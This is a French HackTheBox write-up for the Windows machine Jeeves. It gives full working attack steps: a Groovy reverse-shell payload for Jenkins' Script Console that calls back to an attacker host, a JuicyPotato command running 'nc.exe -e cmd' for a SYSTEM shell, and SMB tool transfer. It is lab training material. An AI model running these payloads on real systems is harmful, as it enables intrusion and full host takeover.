> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Rédaction HackTheBox Jeeves

Rédaction HackTheBox de la machine Windows Jeeves de difficulté moyenne couvrant l’exécution de code à distance via la console Script de Jenkins, les shells inverses Groovy, JuicyPotato, SeImpersonatePrivilege et les flux de données alternatifs.

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Compétences**

* Énumération du réseau et des services web avec Nmap et Gobuster.
* Exécution de code à distance via la Script Console de Jenkins à l’aide de Groovy.
* Élévation de privilèges Windows avec `SeImpersonatePrivilege` et JuicyPotato.
* Découverte et extraction de flux de données alternatifs NTFS.
  {% endhint %}

### Reconnaissance

#### Préparer l’espace de travail

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fp5l0YHO2gSHtBfCwsjwX%2Fimage.png?alt=media&amp;token=80310086-70eb-4139-83d8-aed244bc0daa" alt=""><figcaption></figcaption></figure>

#### Identifier le système d’exploitation

La valeur TTL de `128` indique un hôte Windows.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5jFy9CUPomhKJANnIbOL%2Fimage.png?alt=media&amp;token=cda5452b-ea2e-4a6c-9206-701d206ca429" alt=""><figcaption></figcaption></figure>

#### Analyser les ports ouverts

Exécuter une analyse TCP SYN complète :

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts
```

L’analyse identifie les ports `80`, `135`, `445`, et `50000`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYkmmNVaGo0REDPfM03ls%2Fimage.png?alt=media&amp;token=0545139f-08cb-4ae8-8059-1e5c4524668a" alt=""><figcaption></figcaption></figure>

Exécuter une détection ciblée des services et des versions :

```bash
nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuP3RgVUGTYfOqlAkWWHu%2Fimage.png?alt=media&amp;token=bc3cf72f-c314-4809-8220-ad7e34f6308f" alt=""><figcaption></figcaption></figure>

#### Inspecter le service web

Port `50000` s’identifie comme Jetty :

`Propulsé par Jetty:// 9.4.z-SNAPSHOT`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7IgTqnahoF6EtTOKW6nJ%2Fimage.png?alt=media&amp;token=aa5c877e-0782-4bec-8276-44ce3b7b7a16" alt=""><figcaption></figcaption></figure>

Énumérer les chemins web :

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6lA1BnuTx6uwzFckEFyX%2Fimage.png?alt=media&amp;token=f4d7ed91-30c9-4447-abb7-3600682fb702" alt=""><figcaption></figcaption></figure>

Le `/askjeeves` le chemin héberge Jenkins `2.87`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjUW5aId6UYTqWSQnwELs%2Fimage.png?alt=media&amp;token=b581b11e-5f4a-404e-b977-691d4af99d53" alt=""><figcaption></figcaption></figure>

### Accès initial

#### Utiliser la Script Console de Jenkins

Ouvrir la **Script Console** à `/askjeeves/script`. Elle accepte du code Groovy et l’exécute sur l’hôte Jenkins.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgHFbFoVHTPZXDVRo6eYN%2Fimage.png?alt=media&amp;token=b7c32c15-88b6-46c3-9ecd-78c20bd1879b" alt=""><figcaption></figcaption></figure>

Exécuter une commande inoffensive pour confirmer l’exécution de code :

```groovy
def process = "PowerShell.exe cmd.exe /c dir".execute()
println "Found text ${process.text}"
```

La sortie de la commande confirme l’exécution de code à distance.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FprrUu6VQdEs9BI6rtkZC%2Fimage.png?alt=media&amp;token=96704baa-6567-42b8-8081-80e46be5d13d" alt=""><figcaption></figcaption></figure>

#### Obtenir un shell inversé

Démarrez un écouteur sur le port `443`:

```bash
sudo rlwrap nc -nvlp 443
```

Exécutez ce payload Groovy dans la Script Console. Remplacez l’adresse et le port de rappel si nécessaire.

{% code overflow="wrap" %}

```groovy
Thread.start {
String host="10.10.15.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
```

{% endcode %}

L’écouteur reçoit un shell en tant que `kohsuke`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfjawZKXRlyqSQbCY6w45%2Fimage.png?alt=media&amp;token=c8566621-ea77-479b-b7ff-5da8f3557fe0" alt=""><figcaption></figcaption></figure>

#### Examiner les identifiants Jenkins

La configuration Jenkins contient un jeton API chiffré :

{% code overflow="wrap" %}

```bash
AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw==
```

{% endcode %}

Elle stocke également le mot de passe administrateur sous forme de hachage BCrypt :

{% code overflow="wrap" %}

```bash
$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo1jp46eNfFUgn3O6U5rH%2Fimage.png?alt=media&amp;token=a1a37c1d-4efb-4fbb-a4d1-b326e56602da" alt=""><figcaption></figcaption></figure>

#### Récupérer le flag utilisateur

{% code overflow="wrap" %}

```bash
type C:\Users\kohsuke\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F23OEmwXPHnpyK8EUCxfF%2Fimage.png?alt=media&amp;token=34374874-6628-48d8-bc01-5143706806b0" alt=""><figcaption></figcaption></figure>

### Élévation de privilèges

#### Transférer les outils nécessaires

Héberger les fichiers depuis la machine de l’attaquant :

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Copier `nc.exe` et JuicyPotato vers la cible :

{% code overflow="wrap" %}

```bash
copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe
```

{% endcode %}

```bash
copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FESrLf5YSFgIBOoDaONYl%2Fimage.png?alt=media&amp;token=e2ce0149-338b-4f76-aca1-ad0ff8508599" alt=""><figcaption></figcaption></figure>

#### Exploiter `SeImpersonatePrivilege`

Démarrer un écouteur pour le shell avec privilèges élevés :

{% code overflow="wrap" %}

```bash
rlwrap nc -nlvp 4444
```

{% endcode %}

Exécuter JuicyPotato pour lancer `nc.exe` en tant que `NT AUTHORITY\SYSTEM`:

{% code overflow="wrap" %}

```bash
.\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444"
```

{% endcode %}

Le callback s’exécute en tant que `NT AUTHORITY\SYSTEM`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhIN4Z86m8iJHIerulqL8%2Fimage.png?alt=media&amp;token=d1a66516-50ed-49ef-8e77-6a82f597665f" alt=""><figcaption></figcaption></figure>

### Flag root

Lister les flux de données alternatifs dans le répertoire du bureau de l’administrateur :

```cmd
cd C:\Users\Administrator\Desktop
dir /r
```

La sortie montre le flag dans le `hm.txt:root.txt:$DATA` flux. Le lire directement :

```bash
more < hm.txt:root.txt:$DATA
```

Cela termine la machine en tant que `NT AUTHORITY\SYSTEM`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKQnhNBDF9syZbsWUSwBW%2Fimage.png?alt=media&amp;token=b527308d-7019-4534-a58d-1fd1046a23f0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcTRj5nHStNJyCplC0Dnl%2Fimage.png?alt=media&amp;token=92bc0bd3-f976-4e3c-a90d-e18bec111bc0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
